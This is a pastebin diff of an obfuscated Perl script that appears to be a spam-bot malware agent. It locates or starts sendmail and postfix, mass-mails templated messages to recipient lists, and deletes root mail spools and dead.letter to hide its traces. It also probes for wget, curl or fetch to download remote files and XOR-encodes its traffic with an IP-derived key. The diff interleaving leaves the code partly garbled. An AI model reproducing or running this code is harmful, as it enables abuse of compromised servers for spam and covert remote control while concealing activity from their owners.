SHOW:
|
|
- or go back to the newest paste.
| 1 | - | # !/usr/bin / perl |
| 1 | + | #!/usr/bin/perl use strict; |
| 2 | - | |
| 2 | + | |
| 3 | - | use strict; |
| 3 | + | |
| 4 | srand(time ^ $$ ^ unpack "%L*", `ps axww | gzip`); | |
| 5 | $SIG | |
| 6 | {
| |
| 7 | - | $SIG {
|
| 7 | + | PIPE |
| 8 | - | PIPE |
| 8 | + | |
| 9 | - | } = sub {
|
| 9 | + | =sub |
| 10 | - | die "Broken pipe" |
| 10 | + | {
|
| 11 | - | }; |
| 11 | + | die "Broken pipe" |
| 12 | - | $ENV {
|
| 12 | + | |
| 13 | - | PATH |
| 13 | + | ; |
| 14 | - | } = $ENV {
|
| 14 | + | $ENV |
| 15 | - | PATH |
| 15 | + | {
|
| 16 | - | }.":/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin"; |
| 16 | + | PATH |
| 17 | - | my $b80g = ($ < == 0); |
| 17 | + | |
| 18 | - | my $cj65 = ((getpwuid($ >)) [0]); |
| 18 | + | =$ENV |
| 19 | {
| |
| 20 | - | $g6ho = length($ARGV[0]) if ($ARGV[0] = ~ /^ + $ /); |
| 20 | + | PATH |
| 21 | } | |
| 22 | .":/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin"; | |
| 23 | my $b80g = ($< | |
| 24 | == 0); | |
| 25 | - | my $g1b1 = '/tmp/...'; |
| 25 | + | my $cj65 = ((getpwuid($> |
| 26 | - | my $c087 = 0; |
| 26 | + | ))[0]); |
| 27 | - | my $i5fg = 0; |
| 27 | + | |
| 28 | - | my $jb0l = 0; |
| 28 | + | $g6ho = length($ARGV[0]) if ($ARGV[0] =~ /^ +$/); |
| 29 | - | my $ke9i = 0; |
| 29 | + | |
| 30 | - | my $b8mj = 0; |
| 30 | + | |
| 31 | - | my $aj11 = 0; |
| 31 | + | |
| 32 | - | my $gbed = 50; |
| 32 | + | |
| 33 | - | my $p = "1234567890"; |
| 33 | + | my $g1b1='/tmp/...'; |
| 34 | my $c087=0; | |
| 35 | - | my $jap8 = "sendmail"; |
| 35 | + | my $i5fg=0; |
| 36 | my $jb0l=0; | |
| 37 | my $ke9i=0; | |
| 38 | my $b8mj=0; | |
| 39 | - | my $g85a = 36; |
| 39 | + | my $aj11=0; |
| 40 | - | $bj1c {
|
| 40 | + | my $gbed=50; |
| 41 | - | 'd_v' |
| 41 | + | my $p="1234567890"; |
| 42 | - | } = $g85a; |
| 42 | + | |
| 43 | - | $bj1c {
|
| 43 | + | my $jap8="sendmail"; |
| 44 | - | 'd_w' |
| 44 | + | |
| 45 | - | } = $cj65; |
| 45 | + | |
| 46 | - | $bj1c {
|
| 46 | + | |
| 47 | - | 'd_rb' |
| 47 | + | my $g85a=36; |
| 48 | - | } = $g6ho; |
| 48 | + | $bj1c |
| 49 | - | $bj1c {
|
| 49 | + | {
|
| 50 | - | 'd_pi' |
| 50 | + | 'd_v' |
| 51 | - | } = $$; |
| 51 | + | |
| 52 | - | $bj1c {
|
| 52 | + | =$g85a; |
| 53 | - | 'd_iv' |
| 53 | + | $bj1c |
| 54 | - | } = $]; |
| 54 | + | {
|
| 55 | - | sub aan {
|
| 55 | + | 'd_w' |
| 56 | - | print '['.localtime().'] '; |
| 56 | + | |
| 57 | - | print @_; |
| 57 | + | =$cj65; |
| 58 | $bj1c | |
| 59 | - | sub aai {
|
| 59 | + | {
|
| 60 | - | return 0 if !open(SIGNFH, ">$g1b1"); |
| 60 | + | 'd_rb' |
| 61 | - | return 0 if !flock(SIGNFH, 2 | 4); |
| 61 | + | |
| 62 | - | return 1; |
| 62 | + | =$g6ho; |
| 63 | $bj1c | |
| 64 | - | sub ab1 {
|
| 64 | + | {
|
| 65 | - | my $b2oc = shift; |
| 65 | + | 'd_pi' |
| 66 | - | my $bff9 = shift; |
| 66 | + | |
| 67 | - | my $c91c = shift; |
| 67 | + | =$$; |
| 68 | - | my $i3hb = shift; |
| 68 | + | $bj1c |
| 69 | - | my $c9p7 = shift; |
| 69 | + | {
|
| 70 | - | my $he4e = $b2oc - > {
|
| 70 | + | 'd_iv' |
| 71 | - | 'name' |
| 71 | + | |
| 72 | - | }; |
| 72 | + | =$]; |
| 73 | - | my $cbmm = $b2oc - > {
|
| 73 | + | sub aan |
| 74 | - | 'addr' |
| 74 | + | {
|
| 75 | - | }; |
| 75 | + | print '['.localtime().'] '; |
| 76 | - | my $eblf = ab4(4); |
| 76 | + | print @_; |
| 77 | - | $i3hb = ~s / \[\[firstname \]\] / $he4e / g; |
| 77 | + | |
| 78 | - | $i3hb = ~s / \[\[id \]\] / $cbmm / g; |
| 78 | + | sub aai |
| 79 | - | $i3hb = ~s / \[\[count \]\] / $c9p7 / g; |
| 79 | + | {
|
| 80 | - | $i3hb = ~s / \[\[rand \]\] / $eblf / g; |
| 80 | + | return 0 if !open(SIGNFH, "> |
| 81 | - | $c91c = ~s / \[\[firstname \]\] / $he4e / g; |
| 81 | + | $g1b1"); |
| 82 | - | $c91c = ~s / \[\[id \]\] / $cbmm / g; |
| 82 | + | return 0 if !flock(SIGNFH, 2 | 4); |
| 83 | - | $c91c = ~s / \[\[count \]\] / $c9p7 / g; |
| 83 | + | return 1; |
| 84 | - | $c91c = ~s / \[\[rand \]\] / $eblf / g; |
| 84 | + | |
| 85 | - | for (my $i = 0; $i < 10; $i++) {
|
| 85 | + | sub ab1 |
| 86 | - | my $ipj3 = $b2oc - > {
|
| 86 | + | {
|
| 87 | - | 'params' |
| 87 | + | my $b2oc=shift; |
| 88 | - | } -> [$i]; |
| 88 | + | my $bff9=shift; |
| 89 | - | $i3hb = ~s / \[\[param$i \]\] / $ipj3 / g; |
| 89 | + | my $c91c=shift; |
| 90 | - | $c91c = ~s / \[\[param$i \]\] / $ipj3 / g; |
| 90 | + | my $i3hb=shift; |
| 91 | my $c9p7=shift; | |
| 92 | - | my $i1mc = "From: $bff9|To: ".($he4e ? "\"$he4e\" <$cbmm>" : "$cbmm")."|Subject: $c91c"; |
| 92 | + | my $he4e=$b2oc-> |
| 93 | - | eval {
|
| 93 | + | {
|
| 94 | - | open SENDMAIL, |
| 94 | + | 'name' |
| 95 | - | "| $jap8 -t"; |
| 95 | + | } |
| 96 | - | print SENDMAIL "From: $bff9\n"; |
| 96 | + | ; |
| 97 | - | print SENDMAIL "To: ".($he4e ? "\"$he4e\" <$cbmm>" : "$cbmm")."\n"; |
| 97 | + | my $cbmm=$b2oc-> |
| 98 | - | print SENDMAIL "Subject: $c91c\n"; |
| 98 | + | {
|
| 99 | - | print SENDMAIL "\n" if ($jap8 = ~ / \ / mail /); |
| 99 | + | 'addr' |
| 100 | - | print SENDMAIL "$i3hb"; |
| 100 | + | } |
| 101 | - | close SENDMAIL; |
| 101 | + | ; |
| 102 | - | }; |
| 102 | + | my $eblf=ab4(4); |
| 103 | - | if ($@) {
|
| 103 | + | $i3hb=~s/\[\[firstname\]\]/$he4e/g; |
| 104 | - | my $cje4 = $@; |
| 104 | + | $i3hb=~s/\[\[id\]\]/$cbmm/g; |
| 105 | - | chomp $cje4; |
| 105 | + | $i3hb=~s/\[\[count\]\]/$c9p7/g; |
| 106 | - | return 0; |
| 106 | + | $i3hb=~s/\[\[rand\]\]/$eblf/g; |
| 107 | $c91c=~s/\[\[firstname\]\]/$he4e/g; | |
| 108 | - | return 1; |
| 108 | + | $c91c=~s/\[\[id\]\]/$cbmm/g; |
| 109 | $c91c=~s/\[\[count\]\]/$c9p7/g; | |
| 110 | - | sub aal {
|
| 110 | + | $c91c=~s/\[\[rand\]\]/$eblf/g; |
| 111 | - | my $ed6i = shift; |
| 111 | + | for(my $i=0; |
| 112 | - | my $khnp = shift; |
| 112 | + | $i< |
| 113 | - | my @bfgb = @$khnp; |
| 113 | + | 10; |
| 114 | - | my $bff9 = shift @bfgb; |
| 114 | + | $i++) |
| 115 | - | my $c91c = shift @bfgb; |
| 115 | + | {
|
| 116 | - | my $i3hb; |
| 116 | + | my $ipj3=$b2oc-> |
| 117 | - | while (scalar(@bfgb)) {
|
| 117 | + | {
|
| 118 | - | my $k8nc = shift @bfgb; |
| 118 | + | 'params' |
| 119 | - | if ($k8nc eq $ed6i) {
|
| 119 | + | } |
| 120 | - | last; |
| 120 | + | -> |
| 121 | - | } |
| 121 | + | [$i]; |
| 122 | - | $i3hb. = $k8nc."\n"; |
| 122 | + | $i3hb=~s/\[\[param$i\]\]/$ipj3/g; |
| 123 | $c91c=~s/\[\[param$i\]\]/$ipj3/g; | |
| 124 | - | my @g1mb; |
| 124 | + | } |
| 125 | - | while (scalar(@bfgb)) {
|
| 125 | + | my $i1mc="From: $bff9|To: ".($he4e ? "\"$he4e\" < |
| 126 | - | my $b2oc = {};
|
| 126 | + | $cbmm> |
| 127 | - | my $k8nc = shift @bfgb; |
| 127 | + | " : "$cbmm")."|Subject: $c91c"; |
| 128 | - | my($h4pj, $j63f, @f9hl) = split / \t /, $k8nc; |
| 128 | + | eval |
| 129 | - | if (!$j63f) {
|
| 129 | + | {
|
| 130 | - | $j63f = $h4pj; |
| 130 | + | open SENDMAIL, "| $jap8 -t"; |
| 131 | - | $h4pj = undef; |
| 131 | + | print SENDMAIL "From: $bff9\n"; |
| 132 | - | } |
| 132 | + | print SENDMAIL "To: ".($he4e ? "\"$he4e\" < |
| 133 | - | $b2oc - > {
|
| 133 | + | $cbmm> |
| 134 | - | 'addr' |
| 134 | + | " : "$cbmm")."\n"; |
| 135 | - | } = $j63f; |
| 135 | + | print SENDMAIL "Subject: $c91c\n"; |
| 136 | - | $b2oc - > {
|
| 136 | + | print SENDMAIL "\n" if ($jap8 =~ /\/mail/); |
| 137 | - | 'name' |
| 137 | + | print SENDMAIL "$i3hb"; |
| 138 | - | } = $h4pj if $h4pj; |
| 138 | + | close SENDMAIL; |
| 139 | - | $b2oc - > {
|
| 139 | + | } |
| 140 | - | 'params' |
| 140 | + | ; |
| 141 | - | } = \@f9hl if (scalar(@f9hl)); |
| 141 | + | if($@) |
| 142 | - | push @g1mb, $b2oc if ($b2oc - > {
|
| 142 | + | {
|
| 143 | - | 'addr' |
| 143 | + | my $cje4=$@; |
| 144 | - | }); |
| 144 | + | chomp $cje4; |
| 145 | return 0; | |
| 146 | - | for (my $i = 0; $i < scalar(@g1mb);) {
|
| 146 | + | } |
| 147 | - | if (ab1($g1mb[$i], $bff9, $c91c, $i3hb, $i)) {
|
| 147 | + | return 1; |
| 148 | - | $jb0l++; |
| 148 | + | |
| 149 | - | $ke9i++; |
| 149 | + | sub aal |
| 150 | - | } else {
|
| 150 | + | {
|
| 151 | - | $b8mj++; |
| 151 | + | my $ed6i=shift; |
| 152 | - | $aj11++; |
| 152 | + | my $khnp=shift; |
| 153 | - | } |
| 153 | + | my @bfgb=@$khnp; |
| 154 | - | $i++; |
| 154 | + | my $bff9=shift @bfgb; |
| 155 | my $c91c=shift @bfgb; | |
| 156 | - | if ($b80g) {
|
| 156 | + | my $i3hb; |
| 157 | - | `rm - f / var / mail / root / var / spool / mail / root / var / mail / mail / var / spool / mail / mail`; |
| 157 | + | while(scalar(@bfgb)) |
| 158 | - | } |
| 158 | + | {
|
| 159 | - | `rm - f ~ / dead.letter`; |
| 159 | + | my $k8nc=shift @bfgb; |
| 160 | - | } |
| 160 | + | if($k8nc eq $ed6i) |
| 161 | - | sub aaf {
|
| 161 | + | {
|
| 162 | - | my $k2fk = sprintf($heel." | grep -ci '<html'", "https://accounts.google.com/ServiceLogin?service=mail"); |
| 162 | + | last; |
| 163 | - | my($fn0i) = `$k2fk`; |
| 163 | + | } |
| 164 | - | chomp $fn0i; |
| 164 | + | $i3hb .=$k8nc."\n"; |
| 165 | - | return $fn0i; |
| 165 | + | } |
| 166 | - | } |
| 166 | + | my @g1mb; |
| 167 | - | sub ab9 {
|
| 167 | + | while(scalar(@bfgb)) |
| 168 | - | if ($epm2 eq "wget") {
|
| 168 | + | {
|
| 169 | - | my($clp5) = `wget - - version | head - n1 | grep - o "\\.[0-9]*" | grep - o "[0-9]*\$" `; |
| 169 | + | my $b2oc= |
| 170 | - | chomp $clp5; |
| 170 | + | {
|
| 171 | - | $clp5 = int($clp5); |
| 171 | + | } |
| 172 | - | $heel = "wget -q -O - -t 1 -T 60 "; |
| 172 | + | ; |
| 173 | - | $heel. = "--no-check-certificate " if ($clp5 > 9); |
| 173 | + | my $k8nc=shift @bfgb; |
| 174 | - | $heel. = '"%s"'; |
| 174 | + | my($h4pj, $j63f, @f9hl)=split /\t/, $k8nc; |
| 175 | - | } |
| 175 | + | if(!$j63f) |
| 176 | - | elsif($epm2 eq "curl") {
|
| 176 | + | {
|
| 177 | - | $heel = 'curl -s -k --max-time 60 "%s"'; |
| 177 | + | $j63f=$h4pj; |
| 178 | - | } |
| 178 | + | $h4pj=undef; |
| 179 | - | elsif($epm2 eq "fetch") {
|
| 179 | + | } |
| 180 | - | $heel = 'fetch -T 60 -q -o - "%s"'; |
| 180 | + | $b2oc-> |
| 181 | - | } |
| 181 | + | {
|
| 182 | - | } |
| 182 | + | 'addr' |
| 183 | - | sub ab2 {
|
| 183 | + | } |
| 184 | - | my @ae1n = ('wget', 'curl', 'fetch');
|
| 184 | + | =$j63f; |
| 185 | - | undef $epm2; |
| 185 | + | $b2oc-> |
| 186 | - | foreach my $i6ff(@ae1n) {
|
| 186 | + | {
|
| 187 | - | if ($e2c2) {
|
| 187 | + | 'name' |
| 188 | - | my $gd49 = `which $i6ff`; |
| 188 | + | } |
| 189 | - | next if ($gd49 !~ /^ \ //); } |
| 189 | + | =$h4pj if $h4pj; |
| 190 | - | $epm2 = $i6ff; |
| 190 | + | $b2oc-> |
| 191 | - | ab9(); |
| 191 | + | {
|
| 192 | - | if (!aaf()) {
|
| 192 | + | 'params' |
| 193 | - | undef $epm2; |
| 193 | + | } |
| 194 | - | next; |
| 194 | + | =\@f9hl if(scalar(@f9hl)); |
| 195 | - | } |
| 195 | + | push @g1mb, $b2oc if($b2oc-> |
| 196 | - | last; |
| 196 | + | {
|
| 197 | - | } |
| 197 | + | 'addr' |
| 198 | - | if (!$epm2) {
|
| 198 | + | } |
| 199 | - | $epm2 = "wget"; |
| 199 | + | ); |
| 200 | - | ab9(); |
| 200 | + | } |
| 201 | - | } |
| 201 | + | for(my $i=0; |
| 202 | - | $bj1c {
|
| 202 | + | $i< |
| 203 | - | 'd_br' |
| 203 | + | scalar(@g1mb); |
| 204 | - | } = $epm2; |
| 204 | + | ) |
| 205 | - | } |
| 205 | + | {
|
| 206 | - | my $d5gb = 0; |
| 206 | + | if(ab1($g1mb[$i], $bff9, $c91c, $i3hb, $i)) |
| 207 | - | sub ab7 {
|
| 207 | + | {
|
| 208 | - | return if (time() - $d5gb < 3600); |
| 208 | + | $jb0l++; |
| 209 | - | $d5gb = time(); |
| 209 | + | $ke9i++; |
| 210 | - | $e2c2 = `which which | grep - v alias | sed - e 's/^[[:space:]]*//' `; |
| 210 | + | } |
| 211 | - | ab2(); |
| 211 | + | else |
| 212 | - | ab3(); |
| 212 | + | {
|
| 213 | - | aad() if ($b80g); |
| 213 | + | $b8mj++; |
| 214 | - | my $bgen = `ps - xo command | grep - v grep | grep postfix / master | wc - l | sed - e 's/^[[:space:]]*//' `; |
| 214 | + | $aj11++; |
| 215 | - | chomp $bgen; |
| 215 | + | } |
| 216 | - | if ($bgen) {
|
| 216 | + | $i++; |
| 217 | - | $bj1c {
|
| 217 | + | } |
| 218 | - | 'd_ma' |
| 218 | + | if($b80g) |
| 219 | - | } = 'postfix'; |
| 219 | + | {
|
| 220 | - | if ($e2c2) {
|
| 220 | + | `rm -f /var/mail/root /var/spool/mail/root /var/mail/mail /var/spool/mail/mail`; |
| 221 | - | $bgen = `which sendmail.postfix`; |
| 221 | + | } |
| 222 | - | chomp $bgen; |
| 222 | + | `rm -f ~/dead.letter`; |
| 223 | - | $jap8 = $bgen |
| 223 | + | |
| 224 | - | if ($bgen = ~ /^ \ /. * ab1.postfix$ /); |
| 224 | + | sub aaf |
| 225 | - | } |
| 225 | + | {
|
| 226 | - | } else {
|
| 226 | + | my $k2fk=sprintf($heel." | grep -ci '< |
| 227 | - | $bj1c {
|
| 227 | + | html'", "https://accounts.google.com/ServiceLogin?service=mail"); |
| 228 | - | 'd_ma' |
| 228 | + | my($fn0i)=`$k2fk`; |
| 229 | - | } = 'sendmail'; |
| 229 | + | chomp $fn0i; |
| 230 | - | } |
| 230 | + | return $fn0i; |
| 231 | - | $bj1c {
|
| 231 | + | |
| 232 | - | 'd_mc' |
| 232 | + | sub ab9 |
| 233 | - | } = $jap8; |
| 233 | + | {
|
| 234 | - | } |
| 234 | + | if($epm2 eq "wget") |
| 235 | - | sub aad {
|
| 235 | + | {
|
| 236 | - | my @ihm0 = ("postfix", "sendmail");
|
| 236 | + | my($clp5)=`wget --version | head -n1 | grep -o "\\.[0-9]*" | grep -o "[0-9]*\$"`; |
| 237 | - | foreach my $el22(@ihm0) {
|
| 237 | + | chomp $clp5; |
| 238 | - | my $fmdg = `service $el22 status`; |
| 238 | + | $clp5=int($clp5); |
| 239 | - | chomp $fmdg; |
| 239 | + | $heel="wget -q -O - -t 1 -T 60 "; |
| 240 | - | if ($fmdg = ~ / running / i) {
|
| 240 | + | $heel .="--no-check-certificate " if($clp5 > |
| 241 | - | return $el22; |
| 241 | + | 9); |
| 242 | - | } |
| 242 | + | $heel .='"%s"'; |
| 243 | - | } |
| 243 | + | } |
| 244 | - | foreach my $el22 (@ihm0) {
|
| 244 | + | elsif($epm2 eq "curl") |
| 245 | - | my $g8p4 = `service $el22 start`; |
| 245 | + | {
|
| 246 | - | chomp $g8p4; |
| 246 | + | $heel='curl -s -k --max-time 60 "%s"'; |
| 247 | - | if ($g8p4 = ~ / done / i || $g8p4 = ~ / ok / i) {
|
| 247 | + | } |
| 248 | - | return $el22; |
| 248 | + | elsif($epm2 eq "fetch") |
| 249 | - | } |
| 249 | + | {
|
| 250 | - | } |
| 250 | + | $heel='fetch -T 60 -q -o - "%s"'; |
| 251 | - | return undef; |
| 251 | + | } |
| 252 | - | } |
| 252 | + | |
| 253 | - | sub ab3 {
|
| 253 | + | sub ab2 |
| 254 | - | my @gj36 = ('sendmail', 'mailx', 'mail');
|
| 254 | + | {
|
| 255 | - | my @g3d3 = ('/etc/', 'cron', '.cpan', '/lib', 'log.d', '/services/', '/cgi-bin/', 'mail-lock', 'mail-unlock', 'mail-touchlock', 'formail', 'traptoemail', 'run-mailcap', 'checksendmail', 'w3mmail.cgi');
|
| 255 | + | my @ae1n=('wget', 'curl', 'fetch');
|
| 256 | - | my $j6ll; |
| 256 | + | undef $epm2; |
| 257 | - | foreach my $gdhm(@gj36) {
|
| 257 | + | foreach my $i6ff(@ae1n) |
| 258 | - | if ($e2c2) {
|
| 258 | + | {
|
| 259 | - | my $df52 = `which $gdhm`; |
| 259 | + | if($e2c2) |
| 260 | - | chomp $df52; |
| 260 | + | {
|
| 261 | - | if ($df52 = ~ /^ (\ / [^] +) /) {
|
| 261 | + | my $gd49=`which $i6ff`; |
| 262 | - | $jap8 = $1; |
| 262 | + | next if ($gd49 !~ /^\//); |
| 263 | - | return 1; |
| 263 | + | } |
| 264 | - | } |
| 264 | + | $epm2 = $i6ff; |
| 265 | - | } |
| 265 | + | ab9(); |
| 266 | - | $j6ll = "locate $gdhm | head -n1000"; |
| 266 | + | if (!aaf()) |
| 267 | - | my @jmjh = split / \n /, `$j6ll`; |
| 267 | + | {
|
| 268 | - | $j6ll = "find /bin/ /sbin/ /usr/bin /usr/sbin /usr/local/bin /usr/local/sbin/ -type f -or -type l | grep $gdhm "; |
| 268 | + | undef $epm2; |
| 269 | - | push @jmjh, split / \n /, `$j6ll`; |
| 269 | + | next; |
| 270 | - | chomp @jmjh; |
| 270 | + | } |
| 271 | - | my @e052; |
| 271 | + | last; |
| 272 | - | foreach my $cf09 (@jmjh) {
|
| 272 | + | } |
| 273 | - | next if ( - d $cf09); |
| 273 | + | if (!$epm2) |
| 274 | - | next if (! - x $cf09); |
| 274 | + | {
|
| 275 | - | next if ($cf09 = ~ / \.so$ /); |
| 275 | + | $epm2 = "wget"; |
| 276 | - | my $jdlk = 0; |
| 276 | + | ab9(); |
| 277 | - | foreach my $eob4 (@g3d3) {
|
| 277 | + | } |
| 278 | - | if ($cf09 = ~ / $eob4 /) {
|
| 278 | + | $bj1c |
| 279 | - | $jdlk = 1; |
| 279 | + | {
|
| 280 | - | last; |
| 280 | + | 'd_br' |
| 281 | - | } |
| 281 | + | } |
| 282 | - | } |
| 282 | + | =$epm2; |
| 283 | - | next if $jdlk; |
| 283 | + | |
| 284 | - | if ($cf09 = ~ / bin \ // && $cf09 =~ /$gdhm$/) { $jap8 = $cf09; return 1; } push (@e052,$cf09); } foreach my $cf09 (@e052) { if ($cf09 =~ /bin\//) { $jap8 = $cf09; return 1; } } foreach my $cf09 (@e052) { if ($cf09 =~ /$gdhm$/) { $jap8 = $cf09; return 1; } } } return 0; } sub aac { my $k8nc = shift; my $geaj = shift;
|
| 284 | + | my $d5gb=0; |
| 285 | - | if ($geaj = ~ / ([0 - 9] +) \.([0 - 9] +) \.([0 - 9] +) \.([0 - 9] +) /) {
|
| 285 | + | sub ab7 |
| 286 | - | $geaj = ($1 << 24) + ($2 << 16) + ($3 << 8) + ($4); |
| 286 | + | {
|
| 287 | - | } else {
|
| 287 | + | return if(time() - $d5gb < |
| 288 | - | $geaj = int($geaj); |
| 288 | + | 3600); |
| 289 | - | } |
| 289 | + | $d5gb=time(); |
| 290 | - | my @ipha; |
| 290 | + | $e2c2=`which which | grep -v alias | sed -e 's/^[[:space:]]*//'`; |
| 291 | - | $ipha[0] = ((($geaj & 0 xFF000000) >> 24) + 15) %256; |
| 291 | + | ab2(); |
| 292 | - | $ipha[1] = ((($geaj & 0 x00FF0000) >> 16) + 13) %256; |
| 292 | + | ab3(); |
| 293 | - | $ipha[2] = ((($geaj & 0 x0000FF00) >> 8) + 52) %256; |
| 293 | + | aad() if($b80g); |
| 294 | - | $ipha[3] = ((($geaj & 0 x000000FF)) + 71) %256; |
| 294 | + | my $bgen=`ps -xo command | grep -v grep | grep postfix/master | wc -l | sed -e 's/^[[:space:]]*//'`; |
| 295 | - | my $ioi2; |
| 295 | + | chomp $bgen; |
| 296 | - | for (my $i = 0; $i < length($k8nc); |
| 296 | + | if($bgen) |
| 297 | - | $i++) {
|
| 297 | + | {
|
| 298 | - | my $hec1 = ord(substr ($k8nc, $i, 1)); |
| 298 | + | $bj1c |
| 299 | - | my $d = int($hec1 ^ $ipha[$i%4]); |
| 299 | + | {
|
| 300 | - | $ioi2. = sprintf("%02x", $d);
|
| 300 | + | 'd_ma' |
| 301 | - | $ipha[($i + 1) %4] = ($ipha[($i + 1) %4] + $d) %256; |
| 301 | + | } |
| 302 | - | } |
| 302 | + | ='postfix'; |
| 303 | - | return $ioi2; |
| 303 | + | if($e2c2) |
| 304 | - | } |
| 304 | + | {
|
| 305 | - | sub aah {
|
| 305 | + | $bgen=`which sendmail.postfix`; |
| 306 | - | my $k8nc = shift; |
| 306 | + | chomp $bgen; |
| 307 | - | my $geaj = shift; |
| 307 | + | $jap8 = $bgen if ($bgen =~ /^\/.*ab1.postfix$/); |
| 308 | - | if ($geaj = ~ / ([0 - 9] +) \.([0 - 9] +) \.([0 - 9] +) \.([0 - 9] +) /) {
|
| 308 | + | } |
| 309 | - | $geaj = ($1 << 24) + ($2 << 16) + ($3 << 8) + ($4); |
| 309 | + | } |
| 310 | - | } else {
|
| 310 | + | else |
| 311 | - | $geaj = int($geaj); |
| 311 | + | {
|
| 312 | - | } |
| 312 | + | $bj1c |
| 313 | - | my @ipha; |
| 313 | + | {
|
| 314 | - | $ipha[0] = ((($geaj & 0 xFF000000) >> 24) + 15) %256; |
| 314 | + | 'd_ma' |
| 315 | - | $ipha[1] = ((($geaj & 0 x00FF0000) >> 16) + 13) %256; |
| 315 | + | } |
| 316 | - | $ipha[2] = ((($geaj & 0 x0000FF00) >> 8) + 52) %256; |
| 316 | + | ='sendmail'; |
| 317 | - | $ipha[3] = ((($geaj & 0 x000000FF)) + 71) %256; |
| 317 | + | } |
| 318 | - | my $ioi2; |
| 318 | + | $bj1c |
| 319 | - | for (my $i = 0; $i < length($k8nc) / 2; |
| 319 | + | {
|
| 320 | - | $i++) {
|
| 320 | + | 'd_mc' |
| 321 | - | my $hec1 = hex(substr ($k8nc, $i * 2, 2)); |
| 321 | + | } |
| 322 | - | $ipha[($i + 1) %4] = ($ipha[($i + 1) %4] + $hec1) %256; |
| 322 | + | =$jap8; |
| 323 | - | $ioi2. = chr($hec1 ^ $ipha[$i%4]); |
| 323 | + | |
| 324 | - | } |
| 324 | + | sub aad |
| 325 | - | return $ioi2; |
| 325 | + | {
|
| 326 | - | } |
| 326 | + | my @ihm0=("postfix", "sendmail");
|
| 327 | - | sub ab4 {
|
| 327 | + | foreach my $el22(@ihm0) |
| 328 | - | my $jh9k = shift; |
| 328 | + | {
|
| 329 | - | my @gfe3 = ('a'..'z');
|
| 329 | + | my $fmdg=`service $el22 status`; |
| 330 | - | my $fpmd; |
| 330 | + | chomp $fmdg; |
| 331 | - | foreach(1.. $jh9k) {
|
| 331 | + | if ($fmdg =~ /running/i) |
| 332 | - | $fpmd. = $gfe3[rand @gfe3]; |
| 332 | + | {
|
| 333 | - | } |
| 333 | + | return $el22; |
| 334 | - | return $fpmd; |
| 334 | + | } |
| 335 | - | } |
| 335 | + | } |
| 336 | - | sub aak {
|
| 336 | + | foreach my $el22 (@ihm0) |
| 337 | - | my $a = shift; |
| 337 | + | {
|
| 338 | - | my $ioi2 = 0; |
| 338 | + | my $g8p4 = `service $el22 start`; |
| 339 | - | $ioi2 += (ord(substr($a, 3, 1)) & 0 xFF); |
| 339 | + | chomp $g8p4; |
| 340 | - | $ioi2 += (ord(substr($a, 2, 1)) & 0 xFF) << 8; |
| 340 | + | if ($g8p4 =~ /done/i || $g8p4 =~ /ok/i) |
| 341 | - | $ioi2 += (ord(substr($a, 1, 1)) & 0 xFF) << 16; |
| 341 | + | {
|
| 342 | - | $ioi2 += (ord(substr($a, 0, 1)) & 0 xFF) << 24; |
| 342 | + | return $el22; |
| 343 | - | return $ioi2; |
| 343 | + | } |
| 344 | - | } |
| 344 | + | } |
| 345 | - | sub aba {
|
| 345 | + | return undef; |
| 346 | - | my $hamo = shift; |
| 346 | + | |
| 347 | - | my $jel7 = inet_aton($hamo); |
| 347 | + | sub ab3 |
| 348 | - | return(defined $jel7) ? inet_ntoa($jel7) : undef; |
| 348 | + | {
|
| 349 | - | } |
| 349 | + | my @gj36 = ('sendmail', 'mailx', 'mail');
|
| 350 | - | sub ab8 {
|
| 350 | + | my @g3d3=('/etc/', 'cron', '.cpan', '/lib', 'log.d', '/services/', '/cgi-bin/', 'mail-lock', 'mail-unlock', 'mail-touchlock', 'formail', 'traptoemail', 'run-mailcap', 'checksendmail', 'w3mmail.cgi');
|
| 351 | - | my $g6hd = shift; |
| 351 | + | my $j6ll; |
| 352 | - | my $i6ff = sprintf($heel, $g6hd); |
| 352 | + | foreach my $gdhm(@gj36) |
| 353 | - | my @ioi2 = `$i6ff`; |
| 353 | + | {
|
| 354 | - | chomp @ioi2; |
| 354 | + | if($e2c2) |
| 355 | - | return @ioi2; |
| 355 | + | {
|
| 356 | - | } |
| 356 | + | my $df52=`which $gdhm`; |
| 357 | - | sub aag {
|
| 357 | + | chomp $df52; |
| 358 | - | my $g6hd = shift; |
| 358 | + | if ($df52 =~ /^(\/[^ ]+)/) |
| 359 | - | my $b6o8 = shift; |
| 359 | + | {
|
| 360 | - | if ($epm2 eq "wget") {
|
| 360 | + | $jap8 = $1; |
| 361 | - | `wget - q "$g6hd" - O "$b6o8" `; |
| 361 | + | return 1; |
| 362 | - | } |
| 362 | + | } |
| 363 | - | elsif($epm2 eq "curl") {
|
| 363 | + | } |
| 364 | - | `curl "$g6hd" > "$b6o8" `; |
| 364 | + | $j6ll = "locate $gdhm | head -n1000"; |
| 365 | - | } |
| 365 | + | my @jmjh=split /\n/, `$j6ll`; |
| 366 | - | elsif($epm2 eq "fetch") {
|
| 366 | + | $j6ll="find /bin/ /sbin/ /usr/bin /usr/sbin /usr/local/bin /usr/local/sbin/ -type f -or -type l | grep $gdhm "; |
| 367 | - | `fetch - o "$b6o8" "$g6hd" `; |
| 367 | + | push @jmjh, split /\n/, `$j6ll`; |
| 368 | - | } |
| 368 | + | chomp @jmjh; |
| 369 | - | } |
| 369 | + | my @e052; |
| 370 | - | my $cben = 0; |
| 370 | + | foreach my $cf09 (@jmjh) |
| 371 | - | my $bidj = 0; |
| 371 | + | {
|
| 372 | - | my $h843; |
| 372 | + | next if (-d $cf09); |
| 373 | - | my @g07h = (); |
| 373 | + | next if (! -x $cf09); |
| 374 | - | sub ab6 {
|
| 374 | + | next if ($cf09 =~ /\.so$/); |
| 375 | - | my $ifib = $ipnl; |
| 375 | + | my $jdlk = 0; |
| 376 | - | undef $h843; |
| 376 | + | foreach my $eob4 (@g3d3) |
| 377 | - | return($h843, $ifib) if (aap($g07h[$cben], $ifib)); |
| 377 | + | {
|
| 378 | - | my $b7ha = $cben; |
| 378 | + | if ($cf09 =~ /$eob4/) |
| 379 | - | for ($cben = 0; $cben < 10; $cben++) {
|
| 379 | + | {
|
| 380 | - | if ($cben == 4) {
|
| 380 | + | $jdlk = 1; |
| 381 | - | my @p = split '', |
| 381 | + | last; |
| 382 | - | $p; |
| 382 | + | } |
| 383 | - | my $h39c = $p[6]; |
| 383 | + | } |
| 384 | - | $h39c = "$h39c$h39c.6$h39c."; |
| 384 | + | next if $jdlk; |
